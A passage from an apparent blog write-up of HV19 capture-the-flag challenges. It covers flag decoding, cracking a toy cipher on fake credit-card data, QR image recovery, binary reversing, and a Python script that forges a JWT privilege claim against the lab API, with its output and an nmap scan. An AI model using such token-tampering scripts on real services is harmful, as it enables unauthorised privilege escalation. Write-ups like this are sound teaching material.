data-enlighter-group=\"\">01001000 01010110 00110001 00111001 01111011 00110001 01101101 01011111 01100001 01101100 01110011 00110000 01011111 01110111 00110000 01110010 01101011 00110001 01101110 01100111 01011111 00110000 01101110 01011111 01100001 01011111 01110010 00110011 01101101 00110000 01110100 00110011 01011111 01100011 00110000 01101110 01110100 01110010 00110000 01101100 01111101<\/pre>\n\n\n<p>The flag can be decoded with <a href=\"https:\/\/gchq.github.io\/CyberChef\/#recipe=From_Binary('Space')&amp;input=MDEwMDEwMDAgMDEwMTAxMTAgMDAxMTAwMDEgMDAxMTEwMDEgMDExMTEwMTEgMDAxMTAwMDEgMDExMDExMDEgMDEwMTExMTEgMDExMDAwMDEgMDExMDExMDAgMDExMTAwMTEgMDAxMTAwMDAgMDEwMTExMTEgMDExMTAxMTEgMDAxMTAwMDAgMDExMTAwMTAgMDExMDEwMTEgMDAxMTAwMDEgMDExMDExMTAgMDExMDAxMTEgMDEwMTExMTEgMDAxMTAwMDAgMDExMDExMTAgMDEwMTExMTEgMDExMDAwMDEgMDEwMTExMTEgMDExMTAwMTAgMDAxMTAwMTEgMDExMDExMDEgMDAxMTAwMDAgMDExMTAxMDAgMDAxMTAwMTEgMDEwMTExMTEgMDExMDAwMTEgMDAxMTAwMDAgMDExMDExMTAgMDExMTAxMDAgMDExMTAwMTAgMDAxMTAwMDAgMDExMDExMDAgMDExMTExMDE\">CyberChef<\/a>:<\/p>\n\n\n<p><strong>Flag: HV19{1m_als0_w0rk1ng_0n_a_r3m0t3_c0ntr0l}<\/strong><\/p>\n\n\n<h2 class=\"wp-block-heading\">Hidden Flag 02<\/h2>\n\n\n<p>The filename of the video file looks suspicious: <strong>3DULK2N7DcpXFg8qGo9Z9qEQqvaEDpUCBB1v<\/strong>.mp4 I first thought it was Base64 decoded, but in the end it was Base58. Fortunately, this is very easy to find with the Magic function of CyberChef: <a href=\"https:\/\/gchq.github.io\/CyberChef\/#recipe=Magic(3,false,false,'')&amp;input=M0RVTEsyTjdEY3BYRmc4cUdvOVo5cUVRcXZhRURwVUNCQjF2\">https:\/\/gchq.github.io\/CyberChef<\/a><\/p>\n\n\n<p><strong>Flag: HV19{Dont_confuse_0_and_O}<\/strong><\/p>\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n<h1 class=\"wp-block-heading\">HV19.08 SmileNcryptor 4.0 (Author: otaku &#8212; Level: medium)<\/h1>\n\n\n<p><strong>Description:<\/strong> <br \/>You hacked into the system of very-secure-shopping.com and you found a SQL-Dump with $$-creditcards numbers. As a good hacker you inform the company from which you got the dump. The managers tell you that they don&#8217;t worry, because the data is encrypted.<\/p>\n\n\n<p><strong>Resources:<br \/><\/strong>Dump-File: <a href=\"https:\/\/sigterm.ch\/stuff\/hv19\/c635204a-6347-45d7-91f8-bd7b94b111f1.zip\">dump.zip<\/a><\/p>\n\n\n<p><strong>Solution: <\/strong><br \/>The SQL file looks like this:<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">-- MySQL dump 10.13  Distrib 5.7.19, for Win64 (x86_64)\n--\n-- Host: localhost    Database: secureshopping\n-- ------------------------------------------------------\n-- Server version\t5.7.19-log\n\/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT *\/;\n\/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS *\/;\n\/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION *\/;\n\/*!40101 SET NAMES utf8 *\/;\n\/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE *\/;\n\/*!40103 SET TIME_ZONE='+00:00' *\/;\n\/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 *\/;\n\/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 *\/;\n\/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' *\/;\n\/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 *\/;\n--\n-- Table structure for table `creditcards`\n--\nDROP TABLE IF EXISTS `creditcards`;\n\/*!40101 SET @saved_cs_client     = @@character_set_client *\/;\n\/*!40101 SET character_set_client = utf8 *\/;\nCREATE TABLE `creditcards` (\n  `cc_id` int(11) NOT NULL AUTO_INCREMENT,\n  `cc_owner` varchar(64) DEFAULT NULL,\n  `cc_number` varchar(32) DEFAULT NULL,\n  `cc_expires` varchar(7) DEFAULT NULL,\n  PRIMARY KEY (`cc_id`)\n) ENGINE=InnoDB AUTO_INCREMENT=6 DEFAULT CHARSET=utf8;\n\/*!40101 SET character_set_client = @saved_cs_client *\/;\n--\n-- Dumping data for table `creditcards`\n--\nLOCK TABLES `creditcards` WRITE;\n\/*!40000 ALTER TABLE `creditcards` DISABLE KEYS *\/;\nINSERT INTO `creditcards` VALUES\n(1,'Sirius Black',':)QVXSZUVY\\ZYYZ[a','12\/2020'),\n(2,'Hermione Granger',':)QOUW[VT^VY]bZ_','04\/2021'),\n(3,'Draco Malfoy',':)SPPVSSYVV\\YY_\\\\]','05\/2020'),\n(4,'Severus Snape',':)RPQRSTUVWXYZ[\\]^','10\/2020'),\n(5,'Ron Weasley',':)QTVWRSVUXW[_Z`\\b','11\/2020');\n\/*!40000 ALTER TABLE `creditcards` ENABLE KEYS *\/;\nUNLOCK TABLES;\n--\n-- Table structure for table `flags`\n--\nDROP TABLE IF EXISTS `flags`;\n\/*!40101 SET @saved_cs_client     = @@character_set_client *\/;\n\/*!40101 SET character_set_client = utf8 *\/;\nCREATE TABLE `flags` (\n  `flag_id` int(11) NOT NULL AUTO_INCREMENT,\n  `flag_prefix` varchar(5) NOT NULL,\n  `flag_content` varchar(29) NOT NULL,\n  `flag_suffix` varchar(1) NOT NULL,\n  PRIMARY KEY (`flag_id`)\n) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;\n\/*!40101 SET character_set_client = @saved_cs_client *\/;\n--\n-- Dumping data for table `flags`\n--\nLOCK TABLES `flags` WRITE;\n\/*!40000 ALTER TABLE `flags` DISABLE KEYS *\/;\nINSERT INTO `flags` VALUES (1,'HV19{',':)SlQRUPXWVo\\Vuv_n_\\ajjce','}');\n\/*!40000 ALTER TABLE `flags` ENABLE KEYS *\/;\nUNLOCK TABLES;\n\/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE *\/;\n\/*!40101 SET SQL_MODE=@OLD_SQL_MODE *\/;\n\/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS *\/;\n\/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS *\/;\n\/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT *\/;\n\/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS *\/;\n\/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION *\/;\n\/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES *\/;<\/pre>\n\n\n<p>Apparently, the creditcard numbers and the flag were encrypted with some proprietary encryption. First, I was thinking about XOR with a key. If the key is found we can reverse all the credit card numbers and the flag as well.<br \/>I wrote a Python script which tries to XOR different values with the first characters of all credit card numbers, if the result is a printable character then we have a possible match. Continue with the second position of all credit card numbers and so on&#8230; <br \/><br \/>XOR was not successful, but subtraction was! Here is the Python script which first calculates the key and then decrypts the flag:<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">s1=\"QVXSZUVY\\\\ZYYZ[a\"\ns2=\"QOUW[VT^VY]bZ_\"\ns3=\"SPPVSSYVV\\\\YY_\\\\]\"\ns4=\"RPQRSTUVWXYZ[\\\\]^\"\ns5=\"QTVWRSVUXW[_Z`\\b\"\ns=\"SlQRUPXWVo\\\\Vuv_n_\\\\ajjce\"\n#find key\ncounter = 0\nc = 0\nkey = []\nwhile counter &lt; 130:\n\ttry:\n\t\t'''print(\"[+] Trying: \" + str(counter))\n\t\tprint(chr(ord(s1[c])-counter))\n\t\tprint(chr(ord(s2[c])-counter))\n\t\tprint(chr(ord(s3[c])-counter))\n\t\tprint(chr(ord(s4[c])-counter))\n\t\tprint(chr(ord(s5[c])-counter))'''\n\t\tfor x in range(0, 14):\n\t\t\tif chr(ord(s1[x])-counter).isdigit() and chr(ord(s2[x])-counter).isdigit() and chr(ord(s3[x])-counter).isdigit() and chr(ord(s4[x])-counter).isdigit() and chr(ord(s5[x])-counter).isdigit():\n\t\t\t\t#print(\"Found!\")\n\t\t\t\tkey.append(counter)\n\t\t\tcounter += 1\n\t\tif len(key) == 14:\n\t\t\tprint(\"[+] Key found:\")\n\t\t\tprint(key)\n\t\t\tbreak\n\t\tif counter == 130:\n\t\t\tcounter = key[0]+1\n\t\t\tkey = []\n\texcept:\n\t\tcounter +=1\n\t\tif counter == 130:\n\t\t\tcounter = key[0]+1\n\t\t\tkey = []\n#decrypt\nflag = \"HV19{\"\nfor x in range(0, len(s)):\n\tif x &lt; len(key):\n\t\tflag += chr(ord(s[x]) - key[x])\n\telse:\n\t\tflag += chr(ord(s[x]) - key[len(key)-1] - (x + 1 - len(key)))\nflag += \"}\"\nprint(\"[+] Decrypted Flag\")\nprint(flag)<\/pre>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$ python sol.py\n[+] Key found:\n[30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43]\n[+] Decrypted Flag\nHV19{5M113-420H4-KK3A1-19801}<\/pre>\n\n\n<p><strong>Flag: HV19{5M113-420H4-KK3A1-19801}<\/strong><\/p>\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n<h1 class=\"wp-block-heading\">HV19.09 Santas Quick Response 3.0 (Author: brp64 feat. M. &#8212; Level: medium)<\/h1>\n\n\n<p><strong>Description:<br \/><\/strong>Visiting the following railway station has left lasting memories.<\/p>\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"250\" height=\"167\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/quick1.jpg\" alt=\"\" class=\"wp-image-1300\"\/><\/figure><\/div>\n\n\n<p>Santas brand new gifts distribution system is heavily inspired by it. Here is your personal gift, can you extract the destination path of it?<\/p>\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"165\" height=\"165\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/quick2.png\" alt=\"\" class=\"wp-image-1301\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/quick2.png 165w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/quick2-150x150.png 150w\" sizes=\"auto, (max-width: 165px) 100vw, 165px\" \/><\/figure><\/div>\n\n\n<p><strong>Solution:<br \/><\/strong>A revers image search of the first image led me to the Wiki page of the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Cambridge_North_railway_station\">Cambridge North railway station.<\/a> The special design was derived of the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Rule_30\">Rule 30<\/a>. <\/p>\n\n\n<p>After fiddling around I&#8217;ve found out that the correct QR Code and the <a href=\"http:\/\/mathworld.wolfram.com\/images\/eps-gif\/ElementaryCARule030_1000.gif\">image of the Rule 30<\/a> were over-layed and the colors probably XORed. I used GIMP to reverse this:<\/p>\n\n\n<ul class=\"wp-block-list\"><li>Open Rule 30 image<\/li><li>Open QR Code as a Layer<\/li><li>Chose &#8220;Difference&#8221; mode<\/li><li>Scale the size of the layer to match the background<\/li><\/ul>\n\n\n<p>The hard part was to find the exact position where the images are on top of each other. After some manual trial and error I could find the correct position. <\/p>\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/solution.png\"><img loading=\"lazy\" decoding=\"async\" width=\"450\" height=\"226\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/solution.png\" alt=\"\" class=\"wp-image-1224\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/solution.png 450w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/solution-300x151.png 300w\" sizes=\"auto, (max-width: 450px) 100vw, 450px\" \/><\/a><\/figure><\/div>\n\n\n<p><strong>Flag: HV19{Cha0tic_yet-0rdered}<\/strong><\/p>\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n<h1 class=\"wp-block-heading\">HV19.10 Guess what (Author: inik &#8212; Level: medium)<\/h1>\n\n\n<p><strong>Description:<br \/><\/strong>The flag is right, of course<\/p>\n\n\n<p><strong>Resources:<br \/><\/strong><a href=\"https:\/\/sigterm.ch\/stuff\/hv19\/d658ab66-6859-416d-8554-9a4ee0105794_v3.zip\">d658ab66-6859-416d-8554-9a4ee0105794_v3.zip<\/a><\/p>\n\n\n<p><strong>Solution:<br \/><\/strong>Unfortunately I wasted many hours on this, as the binary file was wrong several times. Due to my preparations with the corrupted file I could solve the challenge very quickly, after a working file was released at 20:00 CET. <br \/>The flag is obfuscated, but because the comparison of our input with the flag is done with a library call we can easily extract it with the &#8216;<a href=\"http:\/\/man7.org\/linux\/man-pages\/man1\/ltrace.1.html\">ltrace<\/a>&#8216; command:<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$ ltrace .\/guess3\n...\nstrlen(\"\"HV19{Sh3ll_0bfuscat10n_1s_fut1l\"...)                              = 35\nstrlen(\"HV19{Sh3ll_0bfuscat10n_1s_fut1l3\"...)                              = 34<\/pre>\n\n\n<p><strong>Flag: HV19{Sh3ll_0bfuscat10n_1s_fut1l3}<\/strong><\/p>\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n<h1 class=\"wp-block-heading\">HV19.11 Frolicsome Santa Jokes API (Author: inik &#8212; Level: medium)<\/h1>\n\n\n<p><strong>Description:<br \/><\/strong>The elves created an API where you get random jokes about santa.<\/p>\n\n\n<p><strong>Resources:<br \/><\/strong>Go and try it here:&nbsp;<a rel=\"noreferrer noopener\" href=\"http:\/\/whale.hacking-lab.com:10101\/\" target=\"_blank\">http:\/\/whale.hacking-lab.com:10101<\/a><\/p>\n\n\n<p><strong>Solution:<\/strong><br \/>On the provided website there is the API documentation for the Santa Jokes API:<\/p>\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><a href=\"blob:https:\/\/sigterm.ch\/b12e1259-3493-46ca-84b6-2fde7ba4097d\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"599\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-7-1024x599.png\" alt=\"\" class=\"wp-image-1225\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-7-1024x599.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-7-300x176.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-7-768x449.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-7-1536x899.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-7-2048x1198.png 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure><\/div>\n\n\n<p>After trying to find any vulnerabilities in the API calls I did check the access token a bit more in detail&#8230; And indeed, the vulnerability is in the access token. The token contains three parts. Each part is separated with a &#8220;.&#8221; (dot). The middle part contains the access rights of the user. The security issue exists because this part is not encrypted but only Base64 encoded. An attacker can decode the token and change the privileges of the logged in user. This makes it possible to read the flag. <\/p>\n\n\n<p>I created a Python script to automate the hack:<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">import requests\nimport json\nimport base64\nURL = \"http:\/\/whale.hacking-lab.com:10101\"\nREGISTER = \"\/fsja\/register\"\nLOGIN= \"\/fsja\/login\"\nRANDOM= \"\/fsja\/random\"\nheaders={'Content-type':'application\/json', 'Accept':'application\/json'}\nuser = {\t\"username\": \"mcia\",\n\t\t\t\"password\": \"passwordpassword\"\n\t}\nx = requests.post(URL + REGISTER, json = user, headers = headers)\n#print(x.text)\n# getToken\nx = requests.post(URL + LOGIN, json = user, headers = headers)\nj = json.loads(x.text)\n#print(x.text)\ntoken = j[\"token\"]\nprint(\"[+] Token is: \" + token)\n# decryptToken\nt = token.split(\".\")\ndecoded = base64.b64decode(t[1])\n# Evelate privileges\nprint(\"[+] Evelate privileges!\")\nplatinum = base64.b64encode(decoded.replace('platinum\":false', 'platinum\":true'))\ntoken = t[0] + \".\" + platinum + \".\" + t[2]\nprint(\"[+] Get flag...\\n\")\nx = requests.get(URL + RANDOM, params = {\"token\":token}, headers = headers)\nj = json.loads(x.text)\nprint(j)\n<\/pre>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$ python sol.py\n[+] Token is: eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjp7InVzZXJuYW1lIjoibWNpYSIsInBsYXRpbnVtIjpmYWxzZX0sImV4cCI6MTU3NzIwMzQ4MS40NjYwMDAwMDB9.t32Aw1rsmdntcWLaU3DcTdiQQEoVsfgTdVLyolEMwyk\n[+] Evelate privileges!\n[+] Get flag...\n{u'platinum': True, u'joke': u\"Congratulation! Sometimes bugs are rather stupid. But that's how it happens, sometimes. Doing all the crypto stuff right and forgetting the trivial stuff like input validation, Hohoho! Here's your flag: HV19{th3_cha1n_1s_0nly_as_str0ng_as_th3_w3ak3st_l1nk}\", u'author': u'Santa'}<\/pre>\n\n\n<p><strong>Flag: HV19{th3_cha1n_1s_0nly_as_str0ng_as_th3_w3ak3st_l1nk}<\/strong><\/p>\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n<h2 class=\"wp-block-heading\">Hidden Flag 03<\/h2>\n\n\n<p>This challenge contains another hidden flag. In the description of the hidden flag this hint was present &#8220;Not each quote is compl&#8221;.<br \/>I scanned the server with nmap and found a qotd service running. qotd stands for Quote Of The Day. \ud83d\ude42<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$ sudo nmap -sS whale.hacking-lab.com\nStarting Nmap 7.60 ( https:\/\/nmap.org ) at 2019-12-24 16:12 CET\nNmap scan report for whale.hacking-lab.com (80.74.140.188)\nHost is up (0.023s latency).\nrDNS record for 80.74.140.188: urb80-74-140-188.ch-meta.net\nNot shown: 991 filtered ports\nPORT     STATE  SERVICE\n17\/tcp   open   qotd\n22\/tcp   open   ssh\n80\/tcp   closed http\n443\/tcp  closed https\n2222\/tcp closed EtherNetIP-1\n4444\/tcp closed krb524\n5555\/tcp closed freeciv\n8888\/tcp open   sun-answerbook\n9001\/tcp open   tor-orport\nNmap done: 1 IP address (1 host up) scanned in 8.73 seconds<\/pre>\n\n\n<p>The service runs on the port 17 and when connected with netcat it returns 1 character&#8230; Every hour another one&#8230; With some patience and the following bash one-liner we can solve this:<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$ while true; do nc whale.hacking-lab.com 17 >> log.txt; sleep 3600; done &amp;<\/pre>\n\n\n<p><strong>Flag: HV19{an0ther_DAILY_fl4g}<\/strong><\/p>\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n<h1 class=\"wp-block-heading\">HV19.12 back to basic (Author: hardlock  &#8212; Level: medium)<\/h1>\n\n\n<p><strong>Description:<br \/><\/strong>Santa used his time machine to get a present from the past. get your rusty tools out of your cellar and solve this one!<\/p>\n\n\n<p><strong>Resources:<\/strong><br \/><a href=\"https:\/\/sigterm.ch\/stuff\/hv19\/67e6c6c2-1119-4c1e-a9b5-85f118173a40.zip\">67e6c6c2-1119-4c1e-a9b5-85f118173a40.zip<\/a><\/p>\n\n\n<p><strong>Solution:<br \/><\/strong>On this day we had to reverse engineer a binary which originally was programmed in Visual Basic. This was pretty hard. In my opinion too hard for a medium level challenge. To solve this one I used Ghidra and OllyDbg.<\/p>\n\n\n<p>In the function where the flag is generated the first IF checks if the input is 33 characters long. If it is not 33 characters the status &#8220;Wrong&#8221; is returned.<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">  uVar3 = __vbaVarCmpEq(local_80,local_160,local_70);\n  uVar3 = __vbaVarCmpEq(local_b0,local_180,local_a0,uVar3);\n  uVar3 = __vbaVarAnd(local_c0,uVar3);\n  uVar3 = __vbaVarCmpEq(local_f0,local_1a0,local_e0,uVar3);\n  uVar3 = __vbaVarAnd(local_100,uVar3);\n  uVar3 = __vbaVarCmpEq(local_130,local_1c0,local_120,uVar3);\n  uVar3 = __vbaVarAnd(local_140,uVar3);\n  local_1c4 = __vbaBoolVarNull(uVar3);\n  __vbaFreeVarList(8,local_60,local_70,local_90,local_a0,local_d0,local_e0,local_110,local_120);\n  if (local_1c4 == 0) {\n    uVar3 = (**(code **)(*piVar6 + 0x300))(piVar6);\n    piVar4 = (int *)__vbaObjSet(&amp;local_50,uVar3);\n    iVar5 = (**(code **)(*piVar4 + 0x54))(piVar4,L\"Status: wrong\");\n  }<\/pre>\n\n\n<p>Afterwards in the loop our input is XORed with something. I didn&#8217;t find the key which was used to XOR with. But I did find the result of the XOR in OllyDbg:<\/p>\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-10.png\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"692\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-10-1024x692.png\" alt=\"\" class=\"wp-image-1277\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-10-1024x692.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-10-300x203.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-10-768x519.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-10.png 1375w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure><\/div>\n\n\n<p>My input is HV19{AAAAAAAAAAAA&#8230;.(0x41)  and the XORed result is: &#8220;0x47, 0x46, 0x49, 0x48, 0x4B&#8221;. XOR is reversible, therefore I can calculate the key which was used to XOR my input:<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">>>> hex(0x4141414141 ^ 0x474649484b)\n'0x60708090a'<\/pre>\n\n\n<p>The key to XOR our input with is &#8220;0x06 0x07 0x08 0x09&#8230;&#8221;. Out of Ghidra we know what the end result of the XOR has to be:<\/p>\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-11.png\"><img loading=\"lazy\" decoding=\"async\" width=\"665\" height=\"214\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-11.png\" alt=\"\" class=\"wp-image-1278\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-11.png 665w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-11-300x97.png 300w\" sizes=\"auto, (max-width: 665px) 100vw, 665px\" \/><\/a><\/figure><\/div>\n\n\n<p>At the memory location 401b40 we find the result bytes: <\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">                         DAT_00401b40                                    XREF[1]:     FUN_00401f80:00402416(*)\n    00401b40 36              ??         36h    6\n    00401b41 00              ??         00h\n    00401b42 6b              ??         6Bh    k\n    00401b43 00              ??         00h\n    00401b44 6c              ??         6Ch    l\n    00401b45 00              ??         00h\n    00401b46 7a              ??         7Ah    z\n    00401b47 00              ??         00h\n    00401b48 69              ??         69h    i\n    00401b49 00              ??         00h\n    00401b4a 63              ??         63h    c\n    00401b4b 00              ??         00h\n    00401b4c 3c              ??         3Ch    &lt;\n    00401b4d 00              ??         00h\n    00401b4e 3d              ??         3Dh    =\n    00401b4f 00              ??         00h\n    00401b50 62              ??         62h    b\n    00401b51 00              ??         00h\n    00401b52 50              ??         50h    P\n    00401b53 00              ??         00h\n    00401b54 42              ??         42h    B\n    00401b55 00              ??         00h\n    00401b56 74              ??         74h    t\n    00401b57 00              ??         00h\n    00401b58 64              ??         64h    d\n    00401b59 00              ??         00h\n    00401b5a 76              ??         76h    v\n    00401b5b 00              ??         00h\n    00401b5c 66              ??         66h    f\n    00401b5d 00              ??         00h\n    00401b5e 66              ??         66h    f\n    00401b5f 00              ??         00h\n    00401b60 27              ??         27h    '\n    00401b61 00              ??         00h\n    00401b62 79              ??         79h    y\n    00401b63 00              ??         00h\n    00401b64 7f              ??         7Fh    \n    00401b65 00              ??         00h\n    00401b66 46              ??         46h    F\n    00401b67 00              ??         00h\n    00401b68 49              ??         49h    I\n    00401b69 00              ??         00h\n    00401b6a 7e              ??         7Eh    ~\n    00401b6b 00              ??         00h\n    00401b6c 6f              ??         6Fh    o\n    00401b6d 00              ??         00h\n    00401b6e 6e              ??         6Eh    n\n    00401b6f 00              ??         00h\n    00401b70 2f              ??         2Fh    \/\n    00401b71 00              ??         00h\n    00401b72 2f              ??         2Fh    \/\n    00401b73 00              ??         00h\n    00401b74 4e              ??         4Eh    N\n    00401b75 00              ??         00h<\/pre>\n\n\n<p>And as we have an addition by two in the loop we get the hex string &#8220;36 6b 6c 7a 69 63 3c 3d 62 50 42 74 64 76 66 66 27 79 7f 46 49 7e 6f 6e 2f 2f 4e&#8221;. Now we have everything to calculate the flag:<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">s = [0x36, 0x6b, 0x6c, 0x7a, 0x69, 0x63, 0x3c, 0x3d, 0x62, 0x50, 0x42, 0x74, 0x64, 0x76, 0x66, 0x66, 0x27, 0x79, 0x7f, 0x46, 0x49, 0x7e, 0x6f, 0x6e, 0x2f, 0x2f, 0x4e]\nkey = [0x6, 0x7, 0x8, 0x9, 0xa, 0xb, 0xc, 0xd, 0xe, 0xf, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x20]\ncounter = 0\nresult = \"\"\nfor x in s:\n  result += chr(x^key[counter])\n  counter += 1\nprint(\"HV19{\" + result + \"}\")<\/pre>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$ python sol12.py\nHV19{0ldsch00l_Revers1ng_Sess10n}<\/pre>\n\n\n<p><strong>Flag: HV19{0ldsch00l_Revers1ng_Sess10n}<\/strong><\/p>\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n<p><\/p>\n\n\n<h1 class=\"wp-block-heading\">HV19.13 TrieMe (Author: kiwi &#8212; Level: medium)<\/h1>\n\n\n<p><strong>Description:<br \/><\/strong>Switzerland&#8217;s national security is at risk. As you try to infiltrate a secret spy facility to save the nation you stumble upon an interesting looking login portal.<br \/>Can you break it and retrieve the critical information?<\/p>\n\n\n<p><strong>Resources:<br \/><\/strong>Facility:&nbsp;<a rel=\"noreferrer noopener\" 